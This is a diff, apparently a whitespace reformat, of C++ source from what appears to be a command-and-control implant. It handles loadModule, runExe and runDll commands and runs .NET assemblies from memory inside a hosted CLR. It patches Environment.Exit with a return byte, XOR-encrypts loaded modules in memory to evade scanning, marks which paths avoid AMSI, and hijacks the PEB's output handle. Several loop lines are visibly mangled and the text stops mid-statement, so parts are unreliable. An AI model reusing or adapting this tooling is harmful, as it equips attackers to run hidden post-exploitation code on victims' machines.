c2Message.set_inputfile(inputFile); + c2Message.set_inputfile(inputFile); - std::string fileContent(std::istreambuf_iterator(myfile), {}); + std::string fileContent(std::istreambuf_iterator(myfile), {}); - c2Message.set_cmd(loadModule); - c2Message.set_data(fileContent.data(), fileContent.size()); - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_args(name); - c2Message.set_returnvalue(type); + c2Message.set_cmd(loadModule); + c2Message.set_data(fileContent.data(), fileContent.size()); + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_args(name); + c2Message.set_returnvalue(type); - myfile.close(); - } - else if(splitedCmd.size()>=3 && splitedCmd[1]=="runExe") - { - std::string name=splitedCmd[2]; + myfile.close(); + } + else if(splitedCmd.size()>=3 && splitedCmd[1]=="runExe") + { + std::string name=splitedCmd[2]; - std::string argument; - if(splitedCmd.size()>=4) - { - for(int i=3; i=4) + { + for(int i=3; i=4 && splitedCmd[1]=="runDll") - { - std::string name = splitedCmd[2]; - std::string methode = splitedCmd[3]; - std::string argument; - if(splitedCmd.size()>=5) - { - for(int i=4; i=4 && splitedCmd[1]=="runDll") + { + std::string name = splitedCmd[2]; + std::string methode = splitedCmd[3]; + std::string argument; + if(splitedCmd.size()>=5) + { + for(int i=4; iGetRuntime(L"v4.0.30319", IID_PPV_ARGS(&m_pRuntimeInfo)); - if (FAILED(hr)) - return ERROR_INIT_CLR_2; + hr = m_pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&m_pRuntimeInfo)); + if (FAILED(hr)) + return ERROR_INIT_CLR_2; - BOOL loadable; - hr = m_pRuntimeInfo->IsLoadable(&loadable); - if (FAILED(hr)) - return ERROR_INIT_CLR_3; + BOOL loadable; + hr = m_pRuntimeInfo->IsLoadable(&loadable); + if (FAILED(hr)) + return ERROR_INIT_CLR_3; - hr = m_pRuntimeInfo->GetInterface(xCLSID_ICLRRuntimeHost, IID_PPV_ARGS(&m_pClrRuntimeHost)); - if (FAILED(hr)) - return ERROR_INIT_CLR_4; - - m_pCustomHostControl = new MyHostControl(); - m_pClrRuntimeHost->SetHostControl(m_pCustomHostControl); + hr = m_pRuntimeInfo->GetInterface(xCLSID_ICLRRuntimeHost, IID_PPV_ARGS(&m_pClrRuntimeHost)); + if (FAILED(hr)) + return ERROR_INIT_CLR_4; + + m_pCustomHostControl = new MyHostControl(); + m_pClrRuntimeHost->SetHostControl(m_pCustomHostControl); - // start the CLR - hr = m_pClrRuntimeHost->Start(); - if (FAILED(hr)) - return ERROR_INIT_CLR_5; + // start the CLR + hr = m_pClrRuntimeHost->Start(); + if (FAILED(hr)) + return ERROR_INIT_CLR_5; - // Now we get the ICorRuntimeHost interface so we can use the normal (deprecated) assembly load API calls - hr = m_pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&m_pCorHost); - if (FAILED(hr)) - return ERROR_INIT_CLR_6; + // Now we get the ICorRuntimeHost interface so we can use the normal (deprecated) assembly load API calls + hr = m_pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&m_pCorHost); + if (FAILED(hr)) + return ERROR_INIT_CLR_6; - // Get a pointer to the default AppDomain in the CLR. - hr = m_pCorHost->GetDefaultDomain(&m_spAppDomainThunk); - if (FAILED(hr)) - return ERROR_INIT_CLR_7; + // Get a pointer to the default AppDomain in the CLR. + hr = m_pCorHost->GetDefaultDomain(&m_spAppDomainThunk); + if (FAILED(hr)) + return ERROR_INIT_CLR_7; - hr = m_spAppDomainThunk->QueryInterface(IID_PPV_ARGS(&m_spDefaultAppDomain)); - if (FAILED(hr)) - return ERROR_INIT_CLR_8; + hr = m_spAppDomainThunk->QueryInterface(IID_PPV_ARGS(&m_spDefaultAppDomain)); + if (FAILED(hr)) + return ERROR_INIT_CLR_8; - m_targetAssembly = new TargetAssembly(); - m_pCustomHostControl->setTargetAssembly(m_targetAssembly); + m_targetAssembly = new TargetAssembly(); + m_pCustomHostControl->setTargetAssembly(m_targetAssembly); - // - // patch exit - // https://www.outflank.nl/blog/2024/02/01/unmanaged-dotnet-patching/ - // - _Assembly* mscorlib; - m_spDefaultAppDomain->Load_2(SysAllocString(L"mscorlib, Version=4.0.0.0"), &mscorlib); + // + // patch exit - // https://www.outflank.nl/blog/2024/02/01/unmanaged-dotnet-patching/ + // + _Assembly* mscorlib; + m_spDefaultAppDomain->Load_2(SysAllocString(L"mscorlib, Version=4.0.0.0"), &mscorlib); - _Type* exitClass; - mscorlib->GetType_2(SysAllocString(L"System.Environment"), &exitClass); + _Type* exitClass; + mscorlib->GetType_2(SysAllocString(L"System.Environment"), &exitClass); - _MethodInfo* exitInfo; - BindingFlags exitFlags = (BindingFlags)(BindingFlags_Public | BindingFlags_Static); - exitClass->GetMethod_2(SysAllocString(L"Exit"), exitFlags, &exitInfo); + _MethodInfo* exitInfo; + BindingFlags exitFlags = (BindingFlags)(BindingFlags_Public | BindingFlags_Static); + exitClass->GetMethod_2(SysAllocString(L"Exit"), exitFlags, &exitInfo); - _Type* methodInfoClass; - mscorlib->GetType_2(SysAllocString(L"System.Reflection.MethodInfo"), &methodInfoClass); + _Type* methodInfoClass; + mscorlib->GetType_2(SysAllocString(L"System.Reflection.MethodInfo"), &methodInfoClass); - _PropertyInfo* methodHandleProperty; - BindingFlags methodHandleFlags = (BindingFlags)(BindingFlags_Instance | BindingFlags_Public); - methodInfoClass->GetProperty(SysAllocString(L"MethodHandle"), methodHandleFlags, &methodHandleProperty); + _PropertyInfo* methodHandleProperty; + BindingFlags methodHandleFlags = (BindingFlags)(BindingFlags_Instance | BindingFlags_Public); + methodInfoClass->GetProperty(SysAllocString(L"MethodHandle"), methodHandleFlags, &methodHandleProperty); - VARIANT methodHandlePtr = {0}; - methodHandlePtr.vt = VT_UNKNOWN; - methodHandlePtr.punkVal = exitInfo; + VARIANT methodHandlePtr = {0}; + methodHandlePtr.vt = VT_UNKNOWN; + methodHandlePtr.punkVal = exitInfo; - SAFEARRAY* methodHandleArgs = SafeArrayCreateVector(VT_EMPTY, 0, 0); - VARIANT methodHandleValue = {0}; - methodHandleProperty->GetValue(methodHandlePtr, methodHandleArgs, &methodHandleValue); + SAFEARRAY* methodHandleArgs = SafeArrayCreateVector(VT_EMPTY, 0, 0); + VARIANT methodHandleValue = {0}; + methodHandleProperty->GetValue(methodHandlePtr, methodHandleArgs, &methodHandleValue); - _Type* rtMethodHandleType; - mscorlib->GetType_2(SysAllocString(L"System.RuntimeMethodHandle"), &rtMethodHandleType); + _Type* rtMethodHandleType; + mscorlib->GetType_2(SysAllocString(L"System.RuntimeMethodHandle"), &rtMethodHandleType); - _MethodInfo* getFuncPtrMethodInfo; - BindingFlags getFuncPtrFlags = (BindingFlags)(BindingFlags_Public | BindingFlags_Instance); - rtMethodHandleType->GetMethod_2(SysAllocString(L"GetFunctionPointer"), getFuncPtrFlags, &getFuncPtrMethodInfo); + _MethodInfo* getFuncPtrMethodInfo; + BindingFlags getFuncPtrFlags = (BindingFlags)(BindingFlags_Public | BindingFlags_Instance); + rtMethodHandleType->GetMethod_2(SysAllocString(L"GetFunctionPointer"), getFuncPtrFlags, &getFuncPtrMethodInfo); - SAFEARRAY* getFuncPtrArgs = SafeArrayCreateVector(VT_EMPTY, 0, 0); - VARIANT exitPtr = {0}; - getFuncPtrMethodInfo->Invoke_3(methodHandleValue, getFuncPtrArgs, &exitPtr); + SAFEARRAY* getFuncPtrArgs = SafeArrayCreateVector(VT_EMPTY, 0, 0); + VARIANT exitPtr = {0}; + getFuncPtrMethodInfo->Invoke_3(methodHandleValue, getFuncPtrArgs, &exitPtr); - DWORD oldProt = 0; - BYTE patch = 0xC3; + DWORD oldProt = 0; + BYTE patch = 0xC3; - VirtualProtect(exitPtr.byref, 1, PAGE_READWRITE, &oldProt); - memcpy(exitPtr.byref, &patch, 1); - VirtualProtect(exitPtr.byref, 1, oldProt, &oldProt); + VirtualProtect(exitPtr.byref, 1, PAGE_READWRITE, &oldProt); + memcpy(exitPtr.byref, &patch, 1); + VirtualProtect(exitPtr.byref, 1, oldProt, &oldProt); - // valious tests !!!! - // // Console - // _Type* consoleClass; - // mscorlib->GetType_2(SysAllocString(L"System.Console"), &consoleClass); + // valious tests !!!! + // // Console + // _Type* consoleClass; + // mscorlib->GetType_2(SysAllocString(L"System.Console"), &consoleClass); - // SAFEARRAY* methodsArray; - // hr = consoleClass->GetMethods((BindingFlags)(BindingFlags_Public | BindingFlags_Static), &methodsArray); + // SAFEARRAY* methodsArray; + // hr = consoleClass->GetMethods((BindingFlags)(BindingFlags_Public | BindingFlags_Static), &methodsArray); - // LONG lowerBound, upperBound; - // SafeArrayGetLBound(methodsArray, 1, &lowerBound); - // SafeArrayGetUBound(methodsArray, 1, &upperBound); + // LONG lowerBound, upperBound; + // SafeArrayGetLBound(methodsArray, 1, &lowerBound); + // SafeArrayGetUBound(methodsArray, 1, &upperBound); - // for (LONG i = lowerBound; i <= upperBound; ++i) - // { - // mscorlib::_MethodInfo* methodInfo; - // SafeArrayGetElement(methodsArray, &i, &methodInfo); + // for (LONG i = lowerBound; i <= upperBound; ++i) + // { + // mscorlib::_MethodInfo* methodInfo; + // SafeArrayGetElement(methodsArray, &i, &methodInfo); - // // std::cout << "methodInfo: " << methodInfo << std::endl; + // // std::cout << "methodInfo: " << methodInfo << std::endl; - // _Type* methodInfoClass; - // mscorlib->GetType_2(SysAllocString(L"System.Reflection.MethodInfo"), &methodInfoClass); + // _Type* methodInfoClass; + // mscorlib->GetType_2(SysAllocString(L"System.Reflection.MethodInfo"), &methodInfoClass); - // _PropertyInfo* NameProperty; - // BindingFlags methodHandleFlags = (BindingFlags)(BindingFlags_Instance | BindingFlags_Public); - // methodInfoClass->GetProperty(SysAllocString(L"Name"), methodHandleFlags, &NameProperty); + // _PropertyInfo* NameProperty; + // BindingFlags methodHandleFlags = (BindingFlags)(BindingFlags_Instance | BindingFlags_Public); + // methodInfoClass->GetProperty(SysAllocString(L"Name"), methodHandleFlags, &NameProperty); - // VARIANT methodHandlePtr = {0}; - // methodHandlePtr.vt = VT_UNKNOWN; - // methodHandlePtr.punkVal = methodInfo; + // VARIANT methodHandlePtr = {0}; + // methodHandlePtr.vt = VT_UNKNOWN; + // methodHandlePtr.punkVal = methodInfo; - // SAFEARRAY* methodHandleArgs = SafeArrayCreateVector(VT_EMPTY, 0, 0); - // VARIANT var = {0}; - // NameProperty->GetValue(methodHandlePtr, methodHandleArgs, &var); + // SAFEARRAY* methodHandleArgs = SafeArrayCreateVector(VT_EMPTY, 0, 0); + // VARIANT var = {0}; + // NameProperty->GetValue(methodHandlePtr, methodHandleArgs, &var); - // BSTR bstrWriteString = SysAllocString( L"Write"); - // if (var.vt != VT_BSTR) - // continue; + // BSTR bstrWriteString = SysAllocString( L"Write"); + // if (var.vt != VT_BSTR) + // continue; - // std::wcout << L"VARIANT " << var.bstrVal << std::endl; - // // if (var.bstrVal != bstrWriteString) - // // continue; + // std::wcout << L"VARIANT " << var.bstrVal << std::endl; + // // if (var.bstrVal != bstrWriteString) + // // continue; - // // _MethodInfo* test; - // // methodInfoClass->GetMethod_2(SysAllocString(L"GetParameters"), methodHandleFlags, &test); - // // // methodHandleProperty->GetValue(methodHandlePtr, methodHandleArgs, &var); + // // _MethodInfo* test; + // // methodInfoClass->GetMethod_2(SysAllocString(L"GetParameters"), methodHandleFlags, &test); + // // // methodHandleProperty->GetValue(methodHandlePtr, methodHandleArgs, &var); - // // std::cout << "test: " << test << std::endl; + // // std::cout << "test: " << test << std::endl; - // // VARIANT obj; - // // VariantInit(&obj); // Initialize the VARIANT structure - // // obj.vt = VT_NULL; // Set the type to VT_NULL - // // obj.plVal = NULL; // Set the pointer to NULL + // // VARIANT obj; + // // VariantInit(&obj); // Initialize the VARIANT structure + // // obj.vt = VT_NULL; // Set the type to VT_NULL + // // obj.plVal = NULL; // Set the pointer to NULL - // // SAFEARRAY* getFuncPtrArgs = SafeArrayCreateVector(VT_VARIANT, 0, 0); // Create an empty SAFEARRAY of VARIANTs + // // SAFEARRAY* getFuncPtrArgs = SafeArrayCreateVector(VT_VARIANT, 0, 0); // Create an empty SAFEARRAY of VARIANTs - // // VARIANT retVal; - // // VariantInit(&retVal); // Initialize the VARIANT structure + // // VARIANT retVal; + // // VariantInit(&retVal); // Initialize the VARIANT structure - // // hr = test->Invoke_3(obj, getFuncPtrArgs, &retVal); + // // hr = test->Invoke_3(obj, getFuncPtrArgs, &retVal); - // // if (FAILED(hr)) { - // // std::cerr << "Method invocation failed with HRESULT: " << hr << std::endl; - // // } else if (retVal.vt == VT_EMPTY) { - // // std::cout << "Method returned no value." << std::endl; - // // } else { - // // // Process retVal as needed - // // } - + // // if (FAILED(hr)) { + // // std::cerr << "Method invocation failed with HRESULT: " << hr << std::endl; + // // } else if (retVal.vt == VT_EMPTY) { + // // std::cout << "Method returned no value." << std::endl; + // // } else { + // // // Process retVal as needed + // // } + - // methodHandleArgs = SafeArrayCreateVector(VT_EMPTY, 0, 0); - // VARIANT methodHandleValue = {0}; - // methodHandleProperty->GetValue(methodHandlePtr, methodHandleArgs, &methodHandleValue); + // methodHandleArgs = SafeArrayCreateVector(VT_EMPTY, 0, 0); + // VARIANT methodHandleValue = {0}; + // methodHandleProperty->GetValue(methodHandlePtr, methodHandleArgs, &methodHandleValue); - // // resolve and execute GetFunctionPointer - // _Type* rtMethodHandleType; - // mscorlib->GetType_2(SysAllocString(L"System.RuntimeMethodHandle"), &rtMethodHandleType); + // // resolve and execute GetFunctionPointer + // _Type* rtMethodHandleType; + // mscorlib->GetType_2(SysAllocString(L"System.RuntimeMethodHandle"), &rtMethodHandleType); - // _MethodInfo* getFuncPtrMethodInfo; - // BindingFlags getFuncPtrFlags = (BindingFlags)(BindingFlags_Public | BindingFlags_Instance); - // rtMethodHandleType->GetMethod_2(SysAllocString(L"GetFunctionPointer"), getFuncPtrFlags, &getFuncPtrMethodInfo); + // _MethodInfo* getFuncPtrMethodInfo; + // BindingFlags getFuncPtrFlags = (BindingFlags)(BindingFlags_Public | BindingFlags_Instance); + // rtMethodHandleType->GetMethod_2(SysAllocString(L"GetFunctionPointer"), getFuncPtrFlags, &getFuncPtrMethodInfo); - // SAFEARRAY* getFuncPtrArgs = SafeArrayCreateVector(VT_EMPTY, 0, 0); - // VARIANT Ptr = {0}; - // getFuncPtrMethodInfo->Invoke_3(methodHandleValue, getFuncPtrArgs, &Ptr); + // SAFEARRAY* getFuncPtrArgs = SafeArrayCreateVector(VT_EMPTY, 0, 0); + // VARIANT Ptr = {0}; + // getFuncPtrMethodInfo->Invoke_3(methodHandleValue, getFuncPtrArgs, &Ptr); - // printf("[U] function pointer: 0x%p\n", Ptr.byref); + // printf("[U] function pointer: 0x%p\n", Ptr.byref); - // } + // } - // SafeArrayDestroy(methodsArray); + // SafeArrayDestroy(methodsArray); - return 0; + return 0; } @@ -726,103 +726,103 @@ typedef HRESULT(__stdcall* CLRIdentityManagerProc)(REFIID, IUnknown**); int DotnetExec::loadAssembly(const std::string& data, const std::string& name, const std::string& type) { - if(1) - { - CLRIdentityManagerProc pIdentityManagerProc = NULL; - m_pRuntimeInfo->GetProcAddress("GetCLRIdentityManager", (void**)&pIdentityManagerProc); + if(1) + { + CLRIdentityManagerProc pIdentityManagerProc = NULL; + m_pRuntimeInfo->GetProcAddress("GetCLRIdentityManager", (void**)&pIdentityManagerProc); - ICLRAssemblyIdentityManager* pIdentityManager; - HRESULT hr = pIdentityManagerProc(IID_ICLRAssemblyIdentityManager, (IUnknown**)&pIdentityManager); - if (FAILED(hr)) - return ERROR_LOAD_ASSEMLBY_1; - - m_pCustomHostControl->updateTargetAssembly(pIdentityManager, data); - LPWSTR identityBuffer = m_pCustomHostControl->getAssemblyInfo(); + ICLRAssemblyIdentityManager* pIdentityManager; + HRESULT hr = pIdentityManagerProc(IID_ICLRAssemblyIdentityManager, (IUnknown**)&pIdentityManager); + if (FAILED(hr)) + return ERROR_LOAD_ASSEMLBY_1; + + m_pCustomHostControl->updateTargetAssembly(pIdentityManager, data); + LPWSTR identityBuffer = m_pCustomHostControl->getAssemblyInfo(); - // std::wcout << "identityBuffer Load_2 " << identityBuffer << std::endl; + // std::wcout << "identityBuffer Load_2 " << identityBuffer << std::endl; - // With the modification done to the host control, we can now load the assembly with load2 as if it was on the dik - BSTR assemblyName = SysAllocString(identityBuffer); - mscorlib::_AssemblyPtr spAssembly; - hr = m_spDefaultAppDomain->Load_2(assemblyName, &spAssembly); - if (FAILED(hr)) - { - // std::cerr << "Load_2 failed: " << std::hex << hr << std::endl; - // _com_error err(hr); - // std::wcerr << L"Error message: " << err.ErrorMessage() << std::endl; - SysFreeString(assemblyName); - return ERROR_LOAD_ASSEMLBY_3; - } - SysFreeString(assemblyName); - pIdentityManager->Release(); + // With the modification done to the host control, we can now load the assembly with load2 as if it was on the dik + BSTR assemblyName = SysAllocString(identityBuffer); + mscorlib::_AssemblyPtr spAssembly; + hr = m_spDefaultAppDomain->Load_2(assemblyName, &spAssembly); + if (FAILED(hr)) + { + // std::cerr << "Load_2 failed: " << std::hex << hr << std::endl; + // _com_error err(hr); + // std::wcerr << L"Error message: " << err.ErrorMessage() << std::endl; + SysFreeString(assemblyName); + return ERROR_LOAD_ASSEMLBY_3; + } + SysFreeString(assemblyName); + pIdentityManager->Release(); - AssemblyModule assemblyModule; - assemblyModule.spAssembly = spAssembly; - assemblyModule.name = name; - assemblyModule.type = type; - m_assemblies.push_back(assemblyModule); - } - else - { - // (Option 2) Load the assembly from memory - SAFEARRAYBOUND rgsabound[1]; - rgsabound[0].cElements = data.size(); - rgsabound[0].lLbound = 0; - SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, rgsabound); - void* pvData = NULL; - HRESULT hr = SafeArrayAccessData(pSafeArray, &pvData); - memcpy(pvData, data.data(), data.size()); - hr = SafeArrayUnaccessData(pSafeArray); - mscorlib::_AssemblyPtr spAssembly; - hr = m_spDefaultAppDomain->Load_3(pSafeArray, &spAssembly); - if (FAILED(hr)) - { - // std::cerr << "Load_3 failed: " << std::hex << hr << std::endl; - // _com_error err(hr); - // std::wcerr << L"Error message: " << err.ErrorMessage() << std::endl; - SafeArrayDestroy(pSafeArray); - return ERROR_LOAD_ASSEMLBY_4; - } - SafeArrayDestroy(pSafeArray); + AssemblyModule assemblyModule; + assemblyModule.spAssembly = spAssembly; + assemblyModule.name = name; + assemblyModule.type = type; + m_assemblies.push_back(assemblyModule); + } + else + { + // (Option 2) Load the assembly from memory + SAFEARRAYBOUND rgsabound[1]; + rgsabound[0].cElements = data.size(); + rgsabound[0].lLbound = 0; + SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, rgsabound); + void* pvData = NULL; + HRESULT hr = SafeArrayAccessData(pSafeArray, &pvData); + memcpy(pvData, data.data(), data.size()); + hr = SafeArrayUnaccessData(pSafeArray); + mscorlib::_AssemblyPtr spAssembly; + hr = m_spDefaultAppDomain->Load_3(pSafeArray, &spAssembly); + if (FAILED(hr)) + { + // std::cerr << "Load_3 failed: " << std::hex << hr << std::endl; + // _com_error err(hr); + // std::wcerr << L"Error message: " << err.ErrorMessage() << std::endl; + SafeArrayDestroy(pSafeArray); + return ERROR_LOAD_ASSEMLBY_4; + } + SafeArrayDestroy(pSafeArray); - AssemblyModule assemblyModule; - assemblyModule.spAssembly = spAssembly; - assemblyModule.name = name; - assemblyModule.type = type; - m_assemblies.push_back(assemblyModule); - } + AssemblyModule assemblyModule; + assemblyModule.spAssembly = spAssembly; + assemblyModule.name = name; + assemblyModule.type = type; + m_assemblies.push_back(assemblyModule); + } - // encryptMem(); + // encryptMem(); - return 0; + return 0; } int DotnetExec::encryptMem() { - if(m_memEcrypted) - return 0; - else - { - std::string toto = "sdfsdgdfhgfk,jhgkfdssqSQSFD"; - m_pCustomHostControl->xorMemory(toto); - m_memEcrypted=true; - } - return 0; + if(m_memEcrypted) + return 0; + else + { + std::string toto = "sdfsdgdfhgfk,jhgkfdssqSQSFD"; + m_pCustomHostControl->xorMemory(toto); + m_memEcrypted=true; + } + return 0; } int DotnetExec::decryptMem() { - if(!m_memEcrypted) - return 0; - else - { - std::string toto = "sdfsdgdfhgfk,jhgkfdssqSQSFD"; - m_pCustomHostControl->xorMemory(toto); - m_memEcrypted=false; - } - return 0; + if(!m_memEcrypted) + return 0; + else + { + std::string toto = "sdfsdgdfhgfk,jhgkfdssqSQSFD"; + m_pCustomHostControl->xorMemory(toto); + m_memEcrypted=false; + } + return 0; } #define RTL_MAX_DRIVE_LETTERS 32 @@ -846,7 +846,7 @@ typedef struct _CURDIR typedef struct _RTL_USER_PROCESS_PARAMETERS_CUSTOM { - ULONG MaximumLength; + ULONG MaximumLength; ULONG Length; ULONG Flags; @@ -889,304 +889,304 @@ typedef struct _RTL_USER_PROCESS_PARAMETERS_CUSTOM struct PEB_LDR_DATA_CUSTOM { - ULONG Length; - BOOLEAN Initialized; - HANDLE SsHandle; - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - PVOID EntryInProgress; - BOOLEAN ShutdownInProgress; - HANDLE ShutdownThreadId; + ULONG Length; + BOOLEAN Initialized; + HANDLE SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID EntryInProgress; + BOOLEAN ShutdownInProgress; + HANDLE ShutdownThreadId; }; struct PEB_CUSTOM { - BOOLEAN InheritedAddressSpace; - BOOLEAN ReadImageFileExecOptions; - BOOLEAN BeingDebugged; - union - { - BOOLEAN BitField; - struct - { - BOOLEAN ImageUsesLargePages : 1; - BOOLEAN IsProtectedProcess : 1; - BOOLEAN IsImageDynamicallyRelocated : 1; - BOOLEAN SkipPatchingUser32Forwarders : 1; - BOOLEAN IsPackagedProcess : 1; - BOOLEAN IsAppContainer : 1; - BOOLEAN IsProtectedProcessLight : 1; - BOOLEAN SpareBits : 1; - }; - }; - HANDLE Mutant; - PVOID ImageBaseAddress; - PEB_LDR_DATA_CUSTOM* Ldr; - PRTL_USER_PROCESS_PARAMETERS_CUSTOM ProcessParameters; - //... + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN IsPackagedProcess : 1; + BOOLEAN IsAppContainer : 1; + BOOLEAN IsProtectedProcessLight : 1; + BOOLEAN SpareBits : 1; + }; + }; + HANDLE Mutant; + PVOID ImageBaseAddress; + PEB_LDR_DATA_CUSTOM* Ldr; + PRTL_USER_PROCESS_PARAMETERS_CUSTOM ProcessParameters; + //... }; // don't load AMSI int DotnetExec::invokeMethodExe(const std::string name, const std::string& argument, std::string& result) { - bool assemblyFound = false; - mscorlib::_AssemblyPtr spAssembly=nullptr; - for(int i=0; iget_EntryPoint(&pMethodInfo); - if (FAILED(hr) || pMethodInfo == NULL) - return ERROR_INVOKE_METHOD_12; + // decryptMem(); + mscorlib::_MethodInfoPtr pMethodInfo; + HRESULT hr = spAssembly->get_EntryPoint(&pMethodInfo); + if (FAILED(hr) || pMethodInfo == NULL) + return ERROR_INVOKE_METHOD_12; - SAFEARRAY* sav = SafeArrayCreateVector(VT_VARIANT, 0, 1); - VARIANT vtPsa; + SAFEARRAY* sav = SafeArrayCreateVector(VT_VARIANT, 0, 1); + VARIANT vtPsa; - LONG i; - if(!argument.empty()) - { - wstring wCommand(argument.begin(), argument.end()); - WCHAR **argv; - int argc; - argv = CommandLineToArgvW(wCommand.data(), &argc); - - vtPsa.vt = (VT_ARRAY | VT_BSTR); - vtPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, argc); + LONG i; + if(!argument.empty()) + { + wstring wCommand(argument.begin(), argument.end()); + WCHAR **argv; + int argc; + argv = CommandLineToArgvW(wCommand.data(), &argc); + + vtPsa.vt = (VT_ARRAY | VT_BSTR); + vtPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, argc); - // add each string parameter - for(i=0; iProcessParameters; - HANDLE consoleHandle = processParameters->StandardOutput; - processParameters->StandardOutput = m_ioPipeWrite; + PRTL_USER_PROCESS_PARAMETERS_CUSTOM processParameters = ProcEnvBlk->ProcessParameters; + HANDLE consoleHandle = processParameters->StandardOutput; + processParameters->StandardOutput = m_ioPipeWrite; - // HANDLE consoleHandle = GetStdHandle(STD_OUTPUT_HANDLE); - // SetStdHandle(STD_OUTPUT_HANDLE, m_ioPipeWrite); + // HANDLE consoleHandle = GetStdHandle(STD_OUTPUT_HANDLE); + // SetStdHandle(STD_OUTPUT_HANDLE, m_ioPipeWrite); - VARIANT retVal; - ZeroMemory(&retVal, sizeof(VARIANT)); - VARIANT obj; - ZeroMemory(&obj, sizeof(VARIANT)); - obj.vt = VT_NULL; - obj.plVal = NULL; + VARIANT retVal; + ZeroMemory(&retVal, sizeof(VARIANT)); + VARIANT obj; + ZeroMemory(&obj, sizeof(VARIANT)); + obj.vt = VT_NULL; + obj.plVal = NULL; - try - { - hr = pMethodInfo->Invoke_3(obj, sav, &retVal); + try + { + hr = pMethodInfo->Invoke_3(obj, sav, &retVal); - SafeArrayDestroy(sav); - VariantClear(&vtPsa); - VariantClear(&retVal); - VariantClear(&obj); - pMethodInfo->Release(); + SafeArrayDestroy(sav); + VariantClear(&vtPsa); + VariantClear(&retVal); + VariantClear(&obj); + pMethodInfo->Release(); - if (FAILED(hr)) - { - processParameters->StandardOutput = consoleHandle; - return ERROR_INVOKE_METHOD_13; - } - } - catch (_com_error &e) - { - SafeArrayDestroy(sav); - VariantClear(&vtPsa); - VariantClear(&retVal); - VariantClear(&obj); - pMethodInfo->Release(); + if (FAILED(hr)) + { + processParameters->StandardOutput = consoleHandle; + return ERROR_INVOKE_METHOD_13; + } + } + catch (_com_error &e) + { + SafeArrayDestroy(sav); + VariantClear(&vtPsa); + VariantClear(&retVal); + VariantClear(&obj); + pMethodInfo->Release(); - processParameters->StandardOutput = consoleHandle; - return ERROR_INVOKE_METHOD_14; - } - catch (...) - { - SafeArrayDestroy(sav); - VariantClear(&vtPsa); - VariantClear(&retVal); - VariantClear(&obj); - pMethodInfo->Release(); + processParameters->StandardOutput = consoleHandle; + return ERROR_INVOKE_METHOD_14; + } + catch (...) + { + SafeArrayDestroy(sav); + VariantClear(&vtPsa); + VariantClear(&retVal); + VariantClear(&obj); + pMethodInfo->Release(); - processParameters->StandardOutput = consoleHandle; - return ERROR_INVOKE_METHOD_15; - } + processParameters->StandardOutput = consoleHandle; + return ERROR_INVOKE_METHOD_15; + } - DWORD bytesAvailable = 0; + DWORD bytesAvailable = 0; BOOL res = PeekNamedPipe(m_ioPipeRead, NULL, 0, NULL, &bytesAvailable, NULL); if(res && bytesAvailable > 0) - { - DWORD outputLength = 0; - std::string buffer; - buffer.resize(0x100000); - if (!ReadFile(m_ioPipeRead, buffer.data(), 0x100000, &outputLength, nullptr)) - return -100; - buffer.resize(outputLength); + { + DWORD outputLength = 0; + std::string buffer; + buffer.resize(0x100000); + if (!ReadFile(m_ioPipeRead, buffer.data(), 0x100000, &outputLength, nullptr)) + return -100; + buffer.resize(outputLength); - result+=buffer; - } + result+=buffer; + } - processParameters->StandardOutput = consoleHandle; - // SetStdHandle(STD_OUTPUT_HANDLE, consoleHandle); + processParameters->StandardOutput = consoleHandle; + // SetStdHandle(STD_OUTPUT_HANDLE, consoleHandle); - // encryptMem(); + // encryptMem(); - return 0; + return 0; } // load AMSI int DotnetExec::invokeMethodDll(const std::string name, const string& method, const string& argument, std::string& result) { - bool assemblyFound = false; - mscorlib::_AssemblyPtr spAssembly=nullptr; - std::string type; - for(int i=0; iGetType_2(bstrClassName, &spType); - if (FAILED(hr) || spType == NULL) - return ERROR_INVOKE_METHOD_1; + // Get the Type of DotnetExecRunner. + mscorlib::_TypePtr spType; + HRESULT hr = spAssembly->GetType_2(bstrClassName, &spType); + if (FAILED(hr) || spType == NULL) + return ERROR_INVOKE_METHOD_1; - // Prepare the arguments for the method. - wstring wCommand(argument.begin(), argument.end()); - variant_t vtStringArg(wCommand.data()); - SAFEARRAY *psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1); - LONG index = 0; - SafeArrayPutElement(psaStaticMethodArgs, &index, &vtStringArg); + // Prepare the arguments for the method. + wstring wCommand(argument.begin(), argument.end()); + variant_t vtStringArg(wCommand.data()); + SAFEARRAY *psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1); + LONG index = 0; + SafeArrayPutElement(psaStaticMethodArgs, &index, &vtStringArg); - // Invoke the method from the Type interface. - wstring wMethod(method.begin(), method.end()); - bstr_t bstrStaticMethodName(wMethod.data()); - variant_t vtPSInvokeReturnVal; - variant_t vtEmpty; + // Invoke the method from the Type interface. + wstring wMethod(method.begin(), method.end()); + bstr_t bstrStaticMethodName(wMethod.data()); + variant_t vtPSInvokeReturnVal; + variant_t vtEmpty; #ifdef _M_IX86 - PEB_CUSTOM * ProcEnvBlk = (PEB_CUSTOM *) __readfsdword(0x30); + PEB_CUSTOM * ProcEnvBlk = (PEB_CUSTOM *) __readfsdword(0x30); #else - PEB_CUSTOM * ProcEnvBlk = (PEB_CUSTOM *)__readgsqword(0x60); + PEB_CUSTOM * ProcEnvBlk = (PEB_CUSTOM *)__readgsqword(0x60); #endif - PRTL_USER_PROCESS_PARAMETERS_CUSTOM processParameters = ProcEnvBlk->ProcessParameters; - HANDLE consoleHandle = 